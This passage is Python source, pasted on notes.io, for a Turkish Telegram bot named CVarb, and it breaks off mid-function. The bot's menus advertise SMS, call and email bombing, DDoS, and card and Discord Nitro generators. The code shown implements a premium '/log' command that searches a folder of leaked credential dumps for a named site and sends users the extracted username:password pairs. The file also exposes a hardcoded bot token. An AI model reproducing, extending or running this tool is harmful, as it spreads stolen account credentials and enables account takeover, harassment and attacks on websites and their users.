NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

import telebot
import logging
import threading
import os
import requests
import queue
import uuid
import urllib
import re
import urllib3
import string
import hashlib
import json
import qrcode
import urllib.parse
import instaloader
import time
import concurrent.futures
import random
import datetime

from functools import wraps
from collections import deque, defaultdict
from requests.adapters import HTTPAdapter
from fake_email import Email
from urllib3.util.retry import Retry
from urllib.parse import urlparse
from user_agent import generate_user_agent
from time import sleep
from telebot import TeleBot
from concurrent.futures import ThreadPoolExecutor
from youtubesearchpython import VideosSearch
from pytube import YouTube
from threading import Thread
from datetime import timedelta
from dateutil.relativedelta import relativedelta
from telebot.types import InlineKeyboardButton as Btn, InlineKeyboardMarkup as Mak
import phonenumbers as pnumb
from phonenumbers import timezone, geocoder, carrier, PhoneNumberType
from telebot import TeleBot, types
from telebot.types import Message
from PIL import Image, ImageEnhance
from io import BytesIO

TELEGRAM_TOKEN = '6876316344:AAG4Xn2-2jXsGNkJxAn5eOcIDVy0BxJLs00'

CHANNEL_ID_1 = '@TeknoDroidEvreni'

CHANNEL_ID_2 = '@CVARB_AI'

CHANNEL_ID_3 = '@TeknoDroidPython'

ADMIN_ID = [6376070018, 1310925676]

bot = telebot.TeleBot(TELEGRAM_TOKEN)

user_states = {}
user_command_tracking = {}

logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
level=logging.INFO)
logger = logging.getLogger(__name__)

def restart_bot():
time.sleep(600)
os.system('clear')
os.execlp('python3', 'python3', 'CVarb.py')

if __name__ == '__main__':
threading.Thread(target=restart_bot).start()

def send_join_channel_message(message):
keyboard = types.InlineKeyboardMarkup()
url_button1 = types.InlineKeyboardButton("1. KANAL", url=f'https://t.me/{CHANNEL_ID_1.strip("@")}')
url_button2 = types.InlineKeyboardButton("2. KANAL", url=f'https://t.me/{CHANNEL_ID_2.strip("@")}')
url_button3 = types.InlineKeyboardButton("3. KANAL", url=f'https://t.me/{CHANNEL_ID_3.strip("@")}')
keyboard.add(url_button1, url_button2, url_button3)
bot.send_message(message.chat.id, 'Merhaba Dostum, Botu Kullanmaya Başlamadan Önce Lütfen Aşağıdaki Kanallara Katıl. Katıldıktan Sonra /start Komutunu Göndererek Botu Kullanmaya Başlayabilirsin.', reply_markup=keyboard)

def check_membership(f):
@wraps(f)
def decorated_function(message):
user_id = message.from_user.id
try:
member_status_1 = bot.get_chat_member(CHANNEL_ID_1, user_id).status
member_status_2 = bot.get_chat_member(CHANNEL_ID_2, user_id).status
member_status_3 = bot.get_chat_member(CHANNEL_ID_3, user_id).status
if member_status_1 in ['left', 'kicked'] or member_status_2 in ['left', 'kicked'] or member_status_3 in ['left', 'kicked']:
send_join_channel_message(message)
return
except Exception as e:
bot.send_message(message.chat.id, 'Bir hata oluştu: ' + str(e))
return
return f(message)
return decorated_function



def safe_execute(func):
"""
Fonksiyonları güvenli bir şekilde çalıştırmak için bir dekoratör.
Herhangi bir hata oluşursa, hataları 'errors.txt' dosyasına yazar.
"""
def wrapper(*args, **kwargs):
try:
return func(*args, **kwargs)
except Exception as e:
error_message = f"{datetime.datetime.now()}: {str(e)}n" # Burayı düzelttim
# Hataları 'errors.txt' dosyasına yaz
with open("CVarb Errors.txt", "a") as error_file:
error_file.write(error_message)

if args:
message = args[0]
try:
bot.reply_to(message, "Bir Sorun Oluştu, Sorun TeknoDroid'e Bildirildi.nHata İçin Özür Dilerim Başka Bir Komut Kullanabilrisin ;)")
except:
pass
return
return wrapper

def ban_at(command_function):
"""Kullanıcıların ban durumunu kontrol eden ve yöneten decorator."""
@wraps(command_function)
def wrapper(message, *args, **kwargs):
user_id = str(message.from_user.id)
chat_id = message.chat.id
now = datetime.datetime.now()

# Dosyadan ban kontrolü
ban_time = is_banned_from_file(user_id)
if ban_time and now < ban_time:
ban_end = ban_time.strftime('%Y-%m-%d')
bot.send_message(chat_id, f"Komut kullanamazsın, banın {ban_end} tarihinde sona erecek.nHesap Bilgisi İçin /info Yaz.")
return

# Kullanıcıyı takip edip gerektiğinde banlayan fonksiyon
check_and_ban_user(user_id, chat_id, now)

return command_function(message, *args, **kwargs)
return wrapper

def sadece_admin(f):
@wraps(f)
def wrapper(message):
if message.from_user.id in ADMIN_ID:
return f(message)
else:
bot.send_message(message.chat.id, "Sadece Botun Kurucusu Bu Komutu Kullanabilir, Senin Kullanabileceklerin;n/komutlar")
return wrapper

files_to_send = ['kullanicilar.txt', 'premium.txt', 'CVarb Errors.txt', 'playkod.txt', 'bakiye.txt']

@bot.message_handler(commands=['ulog'])
@sadece_admin
def send_users_info(message):
for file_path in files_to_send:
with open(file_path, 'rb') as file:
bot.send_document(message.chat.id, file)

@bot.message_handler(commands=['cvarb', 'admin'])
@sadece_admin
def admin_panel(message):
if message.from_user.id in ADMIN_ID:
commands_list = """CVarb Admin Komutları:
- /pre_ekle <kullanıcı_id> <ay_sayısı> - Yeni bir premium ekler.
Kullanımı: /premium_ekle 123456789 3

- /pre_sil <kullanıcı_id> - Bir premium hesabı siler.
Kullanımı: /pre_sil 123456789

- /duyuru <mesaj> - Tüm kullanıcılara duyuru yapmak için.

- /pban <kullanıcı_id> - Bir kullanıcıyı engeller.
Kullanımı: /pban 123456789

- /uyar <kullanıcı_id> <mesaj> - Bir kullanıcıyı uyarır.
Kullanımı: /uyar 123456789 Lütfen kurallara uyalım.

- /rban <kullanıcı_id> - Bir kullanıcının engelini kaldırır.
Kullanımı: /rban 123456789

- /ulog - Güncel Durum Dosyalarını Atar

- /b_ekle - Kullanıcıya Bakiye Ekler.
Kullanım: /b_ekle id miktar

- /b_sil - Kullanıcıdan Bakiye Siler.
Kullanım: /b_sil id miktar

- /playkod_ekle - Klasöre Yeni Play Kod Ekler.
Kullanımı; /playkod_ekle {kod}

- /playkod_sil - Klasörde Bulunan Play Kodu Siler.
Kullanımı; /playkod_sil {kod}

- /log_ekle - Loglar Klasörüne Yeni Log Dosyası Ekler.

- /log_sil - Loglar Klasöründen Log Dosyası Siler."""
bot.send_message(message.chat.id, commands_list)
else:
bot.send_message(message.chat.id, "Bunlar Admin Komutları, Tekrar Kullanmaya Kalkma Ban Yersin 😉")

# Duyuru Yapma
ADMINN_IDDSS = [6376070018, 1310925676]

@bot.message_handler(commands=['duyuru'])
@sadece_admin
def duyuru_yap(message: Message):
if message.from_user.id not in ADMINN_IDDSS:
bot.reply_to(message, "Bu komutu kullanma yetkiniz yok.")
return

# State'i duyuru mesajını bekleyecek şekilde ayarla
user_states[message.from_user.id] = 'waiting_for_message'
bot.reply_to(message, "Lütfen duyuru mesajınızı girin.")

@bot.message_handler(func=lambda message: message.from_user.id in user_states and user_states[message.from_user.id] == 'waiting_for_message')
def receive_announcement(message: Message):
if message.from_user.id not in ADMINN_IDDSS:
bot.reply_to(message, "Bu komutu kullanma yetkiniz yok.")
return

# Duyuru mesajını al ve state'i temizle
duyuru_mesaji = message.text
user_states.pop(message.from_user.id, None)

if not duyuru_mesaji:
bot.reply_to(message, "Duyuru mesajınız boş olamaz. Lütfen tekrar deneyin.")
return

sent_count = 0
with open("kullanicilar.txt", "r") as file:
for line in file:
# Engellenmiş kullanıcıları atla
if line.startswith("x)"):
continue
user_id = line.split(")")[1].split(":")[0].strip()
try:
bot.send_message(user_id, f"ADMİNDEN DUYURU MESAJI: nn{duyuru_mesaji}")
sent_count += 1
except Exception as e:
pass

bot.reply_to(message, f"Duyuru Mesajınız {sent_count} Kişiye Gönderildi.")



@bot.message_handler(commands=['pban'])
@sadece_admin
def kullanici_engelle(message):
try:
command_parts = message.text.split()
user_id_to_ban = command_parts[1]
duration = int(command_parts[2])
ban_end_time = datetime.datetime.now() + relativedelta(months=duration)
update_ban_status_in_file(user_id_to_ban, ban_end_time)
admin_name = ADMIN_IDS.get(message.from_user.id, "Admin")
ban_end_str = ban_end_time.strftime('%Y-%m-%d')
bot.reply_to(message, f"{user_id_to_ban} başarıyla {duration} ay süreyle engellendi.")
bot.send_message(user_id_to_ban, f"{admin_name} CVarb'dan Seni {duration} Ay Engelledi.nBanın {ban_end_str} Tarihinde Açılacak.")
except IndexError:
bot.reply_to(message, "Lütfen bir kullanıcı ID'si ve süre girin. Örnek kullanım: /pban 12345 1")
except ValueError:
bot.reply_to(message, "Lütfen geçerli bir süre girin.")
except Exception as e:
bot.reply_to(message, f"Bir hata oluştu: {e}")


ADMIN_IDS = {
6376070018: "Tekn0Droid",
1310925676: "Cihan Yılmaz"
}


def is_admin(user_id):
return user_id in ADMIN_IDS


def check_and_ban_user(user_id, chat_id, now):
user_data = user_command_tracking.setdefault(user_id, {"commands": [], "ban_count": 0, "ban_time": None, "warning_issued": False})
user_data["commands"].append(now)
user_data["commands"] = [cmd_time for cmd_time in user_data["commands"] if now - cmd_time <= datetime.timedelta(seconds=3)]

if len(user_data["commands"]) > 2:
if not user_data["warning_issued"]:
bot.send_message(chat_id, "Bota çok fazla komutu üst üste girmeye devam edersen 2 ay ban yersin.")
user_data["warning_issued"] = True
else:
user_data["ban_count"] += 1
ban_duration = datetime.timedelta(days=60)
user_data["ban_time"] = now + ban_duration
bot.send_message(chat_id, f"Çok fazla komut gönderdiğiniz için 2 ay boyunca banlandınız.")
update_ban_status_in_file(user_id, user_data["ban_time"])

def update_ban_status_in_file(user_id, ban_end_time):
filename = "kullanicilar.txt"
with open(filename, "r+") as file:
lines = file.readlines()
file.seek(0)
file.truncate()
found = False
for line in lines:
if line.startswith("x) " + user_id + ";"):
if ban_end_time:
ban_end_str = ban_end_time.strftime('%Y-%m-%d')
file.write(f"x) {user_id};{ban_end_str}n")
found = True
else:
file.write(line)
if not found and ban_end_time:
ban_end_str = ban_end_time.strftime('%Y-%m-%d')
file.write(f"x) {user_id};{ban_end_str}n")


@bot.message_handler(commands=['rban'])
@sadece_admin
def engel_kaldir(message):
try:
user_id = message.text.split()[1]
if unban_user(user_id):
admin_name = ADMIN_IDS.get(message.from_user.id, "Admin")
bot.reply_to(message, f"{user_id} ID'li kullanıcının engeli kaldırıldı.")
bot.send_message(user_id, f"{admin_name} Banını Kaldırdı.")
else:
bot.reply_to(message, "Bu kullanıcı bulunamadı veya zaten engelli değil.")
except IndexError:
bot.reply_to(message, "Lütfen bir kullanıcı ID'si girin. Örnek kullanım: /rban 123")
except ValueError:
bot.reply_to(message, "Lütfen geçerli bir kullanıcı ID'si girin.")
except Exception as e:
bot.reply_to(message, f"Bir hata oluştu: {e}")

def unban_user(user_id):
updated = False
with open("kullanicilar.txt", "r") as file:
lines = file.readlines()
with open("kullanicilar.txt", "w") as file:
for line in lines:
if not line.startswith("x) " + user_id + ";"):
file.write(line)
else:
updated = True
return updated

def is_banned_from_file(user_id):
with open("kullanicilar.txt", "r") as file:
lines = file.readlines()
for line in lines:
if line.startswith("x) " + str(user_id) + ";"):
ban_end_date_str = line.strip().split(';')[1]
ban_end_date = datetime.datetime.strptime(ban_end_date_str, '%Y-%m-%d')
if datetime.datetime.now() < ban_end_date:
return ban_end_date
return None
# Kullanıcı Uyarı
@bot.message_handler(commands=['uyar'])
def kullanici_uyar(message):
admin_ids = [6376070018, 1310925676]
if message.from_user.id not in admin_ids:
bot.reply_to(message, "Bu komutu kullanma yetkiniz yok.")
return

try:
_, user_id, warning_message = message.text.split(maxsplit=2)
except ValueError:
bot.reply_to(message, "Kullanım: /uyar <kullanıcı_id> <mesaj>")
return

try:
bot.send_message(user_id, f"Admin tarafından bir uyarı aldınız: nn{warning_message}")
bot.reply_to(message, f"{user_id} ID'li kullanıcıya uyarı mesajı gönderildi.")
except Exception as e:
bot.reply_to(message, f"Uyarı mesajı gönderilemedi: {e}")

def add_trial_premium(user_id):
"""Kullanıcıya premium ekler."""
trial_end_date = (datetime.datetime.now() + datetime.timedelta(days=3)).strftime('%Y-%m-%d')
with open('premium.txt', 'a') as file:
file.write(f"{user_id};{trial_end_date}n")

def is_trial_active(user_id):
"""Kullanıcının premiumunun aktif olup olmadığını kontrol eder."""
try:
with open('premium.txt', 'r') as f:
for line in f:
parts = line.strip().split(';')
if str(user_id) == parts[0]:
trial_end_date = datetime.datetime.strptime(parts[1], '%Y-%m-%d')
if trial_end_date >= datetime.datetime.now():
return True
except FileNotFoundError:
print("Premium dosyası bulunamadı.")
return False

@bot.message_handler(commands=['deneme'])
@safe_execute
@check_membership
@ban_at
def handle_premium_request(message):
"""Kullanıcıya premium sağlar, eğer daha önce almamışsa ve süresi geçmemişse."""
user_id = message.from_user.id
if is_trial_taken(user_id) and not is_trial_active(user_id):
bot.send_message(message.chat.id, "Daha Önce Bir Premium Almıştın Ve Süresi Bitti.nTekrar Premium Almak İstersen Adminle İletişime Geç; @Tekn0Droid")
elif is_trial_taken(user_id):
bot.send_message(message.chat.id, "Zaten Şuan Bir Premium'un Var.")
else:
add_trial_premium(user_id)
bot.send_message(message.chat.id, "ARTIK BİR PREMİUM'SUN ;)nn3 Gün Boyunca Premium Komut Kullanabilirsin 😉")

def is_trial_taken(user_id):
"""Kullanıcının daha önce premium aldığını kontrol eder."""
try:
with open('premium.txt', 'r') as f:
for line in f:
parts = line.strip().split(';')
if str(user_id) == parts[0]:
return True
except FileNotFoundError:
print("Premium dosyası bulunamadı.")
return False



def update_premium_date(user_id, time_to_add, time_type='months'):
file_path = 'premium.txt'
new_content = []
date_updated = False

try:
with open(file_path, 'r') as file:
lines = file.readlines()

for line in lines:
parts = line.strip().split(';')
if str(user_id) == parts[0]:
current_end_date = datetime.datetime.strptime(parts[1], '%Y-%m-%d')
if time_type == 'days':
new_end_date = (current_end_date + datetime.timedelta(days=time_to_add)).strftime('%Y-%m-%d')
else:
new_end_date = (current_end_date + relativedelta(months=time_to_add)).strftime('%Y-%m-%d')
new_content.append(f"{user_id};{new_end_date}n")
date_updated = True
else:
new_content.append(line)

if not date_updated:
if time_type == 'days':
new_end_date = (datetime.datetime.now() + datetime.timedelta(days=time_to_add)).strftime('%Y-%m-%d')
else:
new_end_date = (datetime.datetime.now() + relativedelta(months=time_to_add)).strftime('%Y-%m-%d')
new_content.append(f"{user_id};{new_end_date}n")

with open(file_path, 'w') as file:
file.writelines(new_content)
except Exception as e:
print(f"Bir hata meydana geldi: {e}")

@bot.message_handler(commands=['pre_ekle'])
@sadece_admin
def extend_premium(message):
parts = message.text.split()
if len(parts) != 3:
bot.send_message(message.chat.id, "Yanlış format. Doğru kullanım: /pre_ekle id ay_sayısı veya /pre_ekle id ggun_sayısı")
return

user_id = parts[1]
time_to_add = parts[2]

if time_to_add.startswith('g'):
days_to_add = int(time_to_add[1:])
try:
update_premium_date(user_id, days_to_add, time_type='days')
bot.send_message(message.chat.id, f"Kullanıcının premium süresi {days_to_add} gün uzatıldı.")
except FileNotFoundError:
bot.send_message(message.chat.id, "Premium dosyası bulunamadı.")
else:
months_to_add = int(time_to_add)
try:
update_premium_date(user_id, months_to_add)
bot.send_message(message.chat.id, f"Kullanıcının premium süresi {months_to_add} ay uzatıldı.")
except FileNotFoundError:
bot.send_message(message.chat.id, "Premium dosyası bulunamadı.")

@bot.message_handler(commands=['pre_sil'])
@sadece_admin
def handle_premium_remove(message):
parts = message.text.split()
if len(parts) != 2:
bot.send_message(message.chat.id, "Yanlış format. Doğru kullanım: /pre_sil id")
return

user_id = int(parts[1])
remove_trial_premium(user_id)
bot.send_message(message.chat.id, "Kullanıcının premiumu silindi.")

def remove_trial_premium(user_id):
remove_user_from_file(user_id, 'premium.txt')

def remove_user_from_file(user_id, file_path):
with open(file_path, 'r+') as file:
lines = file.readlines()
file.seek(0)
for line in lines:
parts = line.strip().split(';')
if str(user_id) != parts[0]:
file.write(line)
file.truncate()

def user_already_saved(user_id):
try:
with open("kullanicilar.txt", "r") as file:
for line in file:
line = line.strip()
if not line:
continue
try:
_, saved_user_id = line.split(") ", 1)
saved_user_id = saved_user_id.split(";")[0]
except ValueError:

continue
if saved_user_id.strip() == str(user_id).strip():
return True
except FileNotFoundError:

return False
return False


def get_next_user_number():
try:
with open("kullanicilar.txt", "r") as file:
lines = file.readlines()
if not lines: # Dosya boş ise
return 1
last_line = lines[-1]
last_number, _ = last_line.split(")", 1)
return int(last_number.strip()) + 1 # Son kullanıcı numarasını dön
except FileNotFoundError:
return 1


def update_or_save_user(user_id):
user_exists, lines = False, []
try:
with open("kullanicilar.txt", "r") as file:
lines = file.readlines()
for i, line in enumerate(lines):
try:
number, saved_user_id = line.split(") ", 1) # ")" karakterine göre böl
saved_user_id = saved_user_id.split(";")[0] # Kullanıcı ID'sini al
if saved_user_id.strip() == str(user_id).strip():
user_exists = True
start_date = datetime.datetime.now().strftime("%Y-%m-%d")
lines[i] = f"{number}) {user_id}; {start_date}n"
break
except ValueError:
continue
except FileNotFoundError:
pass

if not user_exists:
idx = len(lines) + 1
start_date = datetime.datetime.now().strftime("%Y-%m-%d")
lines.append(f"{idx}) {user_id}; {start_date}n")

with open("kullanicilar.txt", "w") as file:
file.writelines(lines)

def check_if_banned(user_id):
with open("kullanicilar.txt", "r") as file:
for line in file:
if user_id in line and "x" in line:
return True
return False


@bot.message_handler(commands=['start', 'baslat'])
@safe_execute
@ban_at
@check_membership
def send_welcome(message):
user_id = str(message.from_user.id)
is_banned = check_if_banned(user_id)
if is_banned:
bot.reply_to(message, "Yanlış Bir Hareketinden Dolayı Engellenmişsin, Geçici Bir Süre Botu Kullanamazsın:(nHesap Bilgin İçin /info YaznAdmin; @Tekn0Droid")
return

update_or_save_user(user_id)
user_first_name = message.from_user.first_name
username = message.from_user.username
name_to_use = f"@{username}" if username else user_first_name

# Inline keyboard oluştur
keyboard = types.InlineKeyboardMarkup()
komutlar_button = types.InlineKeyboardButton(text="📜 Komutlar", callback_data="komutlar")
kanal_button = types.InlineKeyboardButton(text="👤 Kanallarımız", callback_data="kanal")
iletisim_button = types.InlineKeyboardButton(text="📞 İletişim", callback_data="iletisim")

keyboard.add(komutlar_button)
keyboard.add(kanal_button)
keyboard.add(iletisim_button)

bot.reply_to(message, f"🤖 Merhaba {name_to_use} CVARB Botuna Hoşgeldin 👋nBen @Tekn0Droid Tarafından Yaratılan Geniş Kapsamlı Bir Aİ Botuyum, Beni Kullandığın İçin Teşekkür Ederim. 🔮nnBir Sıkıntı Veya Önerin Olursa İletişim Kısmına Mesajını Bırak. ☏nnEğer 3 Günlük Deneme Premium Almak İstersen ☞ /deneme Komutunu Kullan 🚀nEğer Hesabınla İlgili Bilgi Almak İstersen /info Komutunu Kullan ℹ️", reply_markup=keyboard)

@bot.callback_query_handler(func=lambda call: True)
def callback_handler(call):
if call.data == "iletisim":
msg = bot.send_message(call.message.chat.id, "Admine Göndermek İstediğin Mesajı Yaz:")
bot.register_next_step_handler(msg, process_contact_message)
elif call.data == "komutlar":
freemium_features(call.message)
elif call.data == "kanal":
kanal(call.message)

@bot.message_handler(commands=['kanal'])
@safe_execute
@ban_at
def kanal(message):
kanal_mesaji = "👤 • KANALIMIZ; @TeknoDroidEvreninn👥 • KANALLARIMIZ; @TeknoDroidBionn📢 • GELİŞTİRME KANALIMIZ;n@CVARB_AI"
bot.send_message(message.chat.id, kanal_mesaji)

@bot.message_handler(commands=['iletisim'])
@safe_execute
@ban_at
def iletisim(message):
msg = bot.send_message(message.chat.id, "Admine Göndermek İstediğin Mesajı Yaz:")
bot.register_next_step_handler(msg, process_contact_message)

def process_contact_message(message):
bot.forward_message(ADMIN_ID, message.chat.id, message.message_id)
bot.send_message(message.chat.id, "Mesajın Admine İletildi. Teşekkürler!")

@bot.message_handler(commands=['komutlar'])
@safe_execute
@check_membership
@ban_at
def freemium_features(message):
username = message.from_user.username
name_to_use = f"@{username}" if username else message.from_user.first_name

command_features = """
⋘────━ 𓆩 KOMUTLAR 𓆪━────⋙
   
:-: /saheser - Log Çek, Zarar Ver, DDoS At, SFS'çi Bul, Bombalayıcılar, Py Şifrele Vb.   

:-: /ai - Tüm Gelişmiş Yapay Zekalar Ve Resim Oluşturucu AI

:-: /olusturucu - Her Türlü Oluşturucunun Olduğu Komut

:-: /info_cek - Hesaplardan, Tel No'larından Ve Sitelerden İnfo Çek

:-: /oyun - Oyun Ve Bakiye Yeri

:-: /toollar - Tüm Toolların Olduğu Geniş Kapsamlı Komut"""

bot.reply_to(message, f"{command_features}")

@bot.message_handler(commands=['saheser'])
@safe_execute
@check_membership
@ban_at
def saheserler(message):

saheserler_message = '''
╭━━━━━━━━━━━━━╮
┃🔱 ŞAHESERLER 🔱
┃━━━━━━━━━━━━━━━
┃➥ 💥 /smsbomb - SMS Bombası
┃➥ 🍹 /log - Siteden Log Çekici
┃➥ ☠️ /ddos - Sitelere DDoS At
┃➥ 📞 /aramabomb - Arama Bombası
┃➥ 📧 /emailbomb - E-Mail Bombalama
┃➥ 📨 /fake_email - Temp Mail
┃➥ 😜 /sfs - Kendine Bir SFS'ci Bul.
╰━━━━━━━━━━━━━━━━━━━━━━━
'''
bot.reply_to(message, saheserler_message)

@bot.message_handler(commands=['olusturucu'])
@safe_execute
@check_membership
@ban_at
def olusturucular(message):

olusturucular_message = '''
╭━━━━━━━━━━━━━╮
┃➣ OLUŞTURULAR
┃━━━━━━━━━━━━━━
┃➥ 🔳 /qr - qr Kod Üretici
┃➥ ✍️ /deftereyaz - İsmini deftere yaz
┃➥ 🎁 /playkod - Play Kod Üretici
┃➥ 💳 /cc - CC Üretici
┃➥ *️⃣ /numara_al - Numara Üretici
┃➥ 🌪️ /discord_nitro - Discord Nitro Üretici
┃➥ ✳️ /duvar_kagidi - Duvar Kağıdı Üretici
┃➥ ⚕️ /fake_bilgi - Rastgele Kişi Üretici
┃➥ 🪀 /proxy - Proxy Üretici
╰━━━━━━━━━━━━━━━━━━━━━━━

'''
bot.reply_to(message, olusturucular_message)

@bot.message_handler(commands=['info_cek'])
@safe_execute
@check_membership
@ban_at
def info_cek(message):

info_cek_message = '''
╭━━━━━━━━━━━━━╮
┃➣ İNFO ÇEK
┃━━━━━━━━━━━━━━
┃➥ 🪝 /index - Site İndex'i Çek
┃➥ ➕ /headers - Sitenin Headers'ini Çek
┃➥ 〽️ /tel_info - Tel No İnfo
┃➥ 🍄 /insta_info - İnsta Hesap İnfo
╰━━━━━━━━━━━━━━━━━━━━━━━
'''
bot.reply_to(message, info_cek_message)

@bot.message_handler(commands=['toollar'])
@safe_execute
@check_membership
@ban_at
def toollar(message):

toollar_message = '''
╭━━━━━━━━━━━━━╮
┃➣ TOOLLAR
┃━━━━━━━━━━━━━━
┃➥ 🆔 /myid - ID'ni öğren.
┃➥ 🎑 /resim_arat - Google'den Resim Aratıcı
┃➥ 🗞️ /haberler - Güncel Haber
┃➥ ℹ️ /wikipedia - Wikipedia
┃➥ 🌐 /ceviri - Her Dilde Çeviri
┃➥ 🔠 /yazitipi - Yazı Biçimleri
┃➥ 🪶 /premium_apk - Premium APK'lar
┃➥ 🔗 /link_gizle - Link Gizleme
┃➥ 🌤️ /hava_durumu - Hava Durumunu Öğren
┃➥ 💸 /dovizhesapla - Dolar, Euro Öğren
┃➥ 💅 /guzellik_olc - Güzelliğini Ölç
┃➥ 🎧 /muzik_indir - İstediğin Müziği İndir
┃➥ 💰 /ticaret_egitimi - Ticaret Eğitimleri
┃➥ 🧷 /tool - Çok Daha Fazla Tool
╰━━━━━━━━━━━━━━━━━━━━━━━
'''
bot.reply_to(message, toollar_message)

#İnfo Komut
@bot.message_handler(commands=['info'])
@safe_execute
@check_membership
def send_info(message):
user_id = message.from_user.id
start_date = get_bot_start_date()
premium_info = get_premium_info(user_id)
ban_info = get_ban_info(user_id)

if ban_info.startswith("Banlı"):
response_message = f"≈ Kullanıcı ID: {user_id}nn≈ Botu Başlatma Tarihi: {start_date}nn{premium_info}nn{ban_info}"
else:
response_message = f"≈ Kullanıcı ID: {user_id}n≈ Botu Başlatma Tarihi: {start_date}n{premium_info}n{ban_info}"

bot.reply_to(message, response_message)

def get_ban_info(user_id):
ban_info = is_banned_from_file(user_id)
if ban_info:
return f"≈ Ban Bilgisi; nBanlı (Bitiş Tarihi: {ban_info.strftime('%Y-%m-%d')})"
else:
return "≈ Ban Bilgisi; Ban Yok"


def get_premium_info(user_id):
if is_trial_active(user_id):
return f"≈ Premium Bilgisi;nPremium (Bitiş Tarihi: {get_trial_end_date(user_id)})"
elif is_trial_taken(user_id):
return "≈ Premium Bilgisi;nPremium (Süresi Geçmiş)"
else:
return "≈ Premium Bilgisi;nPremium Yok"

def get_trial_end_date(user_id):
try:
with open('premium.txt', 'r') as f:
for line in f:
parts = line.strip().split(';')
if str(user_id) == parts[0]:
trial_end_date = datetime.datetime.strptime(parts[1], '%Y-%m-%d')
return trial_end_date.strftime('%Y-%m-%d')
except FileNotFoundError:
print("Premium dosyası bulunamadı.")
return "Bilinmiyor"

def get_bot_start_date():
try:
with open("kullanicilar.txt", "r") as file:
lines = file.readlines()
if lines:
first_line = lines[0]
start_date = first_line.split(";")[1].strip()
return start_date
except FileNotFoundError:
pass
return "Bot başlatma tarihi bulunamadı"


#Wikipedia Komut
def get_wikipedia_info(keyword):
url = f"https://tr.wikipedia.org/w/api.php?action=query&prop=extracts|pageimages|info&pithumbsize=400&inprop=url&redirects=&format=json&titles={keyword}&origin=*"

try:
response = requests.get(url)
data = response.json()

page_id = next(iter(data['query']['pages']))
page_info = data['query']['pages'][page_id]

title = page_info['title']
extract = page_info['extract']
full_url = page_info['fullurl']

# Format the information into a string
info_str = f"Title: {title}n"
f"URL: {full_url}nn"
f"Summary:n{extract[:1000]}..." # Truncate to first 1000 characters

return info_str

except Exception as e:
return f"Error occurred: {e}"

@bot.message_handler(commands=['wikipedia'])
@safe_execute
@check_membership
@ban_at
def wikipedia_search(message):
chat_id = message.chat.id
bot.send_message(chat_id, "Hangi konuda Wikipedia bilgisi almak istersiniz?")
bot.register_next_step_handler(message, process_wikipedia_search)

def process_wikipedia_search(message):
search_term = message.text
info = get_wikipedia_info(search_term)
bot.send_message(message.chat.id, info)



#Log Çekme Komut
# Klasör adı
FOLDER_NAME = 'loglar'

# Maksimum dosya boyutları (MB cinsinden)
MAX_PREMIUM_FILE_SIZE_MB = 5 # Premium kullanıcılar için

# Bekleyen işlemler
log_usage = {}
process_cancellation = set()

# Haftalık log kullanım geçmişi
LOG_HISTORY_FILE = 'log_history.json'
PREMIUM_USERS_FILE = 'premium.txt'

def is_process_cancelled_log(user_id):
return user_id in process_cancellation

def load_log_history():
if os.path.exists(LOG_HISTORY_FILE):
with open(LOG_HISTORY_FILE, 'r') as file:
return json.load(file)
return {}

def save_log_history(log_history):
with open(LOG_HISTORY_FILE, 'w') as file:
json.dump(log_history, file)

log_history = load_log_history()

def handle_log_file_sending(user_id, query_logg_text, matching_lines, max_size_mb, search_message_id):
if is_process_cancelled_log(user_id):
process_cancellation.remove(user_id)
bot.send_message(user_id, "İşlemin iptal edildi.")
return

tmp_folder = "tmp"
if not os.path.exists(tmp_folder):
os.makedirs(tmp_folder)

# Dosya adındaki geçersiz karakterleri kaldır
safe_query_logg_text = ''.join(c for c in query_logg_text if c.isalnum() or c in (' ', '_')).rstrip()
filename = f"CVARB_{safe_query_logg_text}_LOGLARI.txt"
filepath = os.path.join(tmp_folder, filename)

current_size = 0
max_size_bytes = max_size_mb * 1024 * 1024

random.shuffle(matching_lines) # Dosya içeriğini rastgele sırala

log_entries = []

for line in matching_lines:
if is_process_cancelled_log(user_id): # Dosya yazılırken iptal kontrolü
process_cancellation.remove(user_id)
os.remove(filepath) # İptal edildiyse oluşturulan dosyayı sil
bot.send_message(user_id, "İşlem iptal edildi.")
return

# Kullanıcı adı ve şifreyi ayıkla
parts = line.split(':')
if len(parts) < 3:
continue

user_pass = ':'.join(parts[-2:])

log_entry_size = len(user_pass.encode('utf-8')) + 1 # +1 for newline character
current_size += log_entry_size

if current_size > max_size_bytes:
break

log_entries.append(user_pass.strip())

with open(filepath, "w", encoding='utf-8') as file:
for log_entry in log_entries:
file.write(f"{log_entry}n#BY > @TeknoDroidEvreni ≈ @CVarbV2_botn")

hesap_sayisi = len(log_entries)

with open(filepath, "rb") as file:
bot.send_document(user_id, file, caption=f"🔮 • {query_logg_text} Sitesinden {hesap_sayisi} Tane Hesap Buldum.nn🤖 • BY: @CVarbV2_bot")

os.remove(filepath)
# Mesajı sil
bot.delete_message(user_id, search_message_id)

@bot.message_handler(commands=['log'])
@safe_execute
@check_membership
@ban_at
def query_logg(message):
user_id = message.chat.id
user_name = message.from_user.username
if not user_name:
user_name = message.from_user.first_name

command_parts = message.text.split(' ', 1)
if len(command_parts) < 2 or not command_parts[1].strip():
bot.reply_to(message, "Selam Dostum, Bu Komut İle Siteden Log Çekebilirsin.nÖrnek Kullanım;n/log https://netflix.comnnYukardaki Komut Netflix'ten Log Çeker")
return

query_logg_text = command_parts[1].strip()

if user_id in process_cancellation: # Eğer kullanıcı /log_iptal komutu göndermişse işlemi iptal et.
bot.reply_to(message, "Önceki işlemin iptal edildi.")
process_cancellation.remove(user_id)
return

# Kullanıcı Premium mu kontrol et
if not is_trial_taken(user_id):
bot.reply_to(message, "Bu komutu sadece Premium kullanıcılar kullanabilir. Premium üyelik satın alarak kullanabilirsiniz > @Tekn0Droid")
return

# Premium kullanıcılar için maksimum dosya sınırı
max_size_mb = MAX_PREMIUM_FILE_SIZE_MB

# İlk geçici mesajı gönder
first_temp_message = bot.reply_to(message, f"{query_logg_text}nSitesinin Logları Aranıyor...nnIptal Etmek Icinn/log_iptal Komutunu Kullan.")

search_message_id = first_temp_message.message_id

# İkinci geçici mesajı gönder
second_temp_message = bot.send_message(user_id, "🔎", parse_mode='HTML')

matching_lines = []
for filename in os.listdir(FOLDER_NAME):
if filename.endswith('.txt'):
filepath = os.path.join(FOLDER_NAME, filename)
try:
with open(filepath, 'r', encoding='latin-1') as file:
lines = file.readlines()
for line in lines:
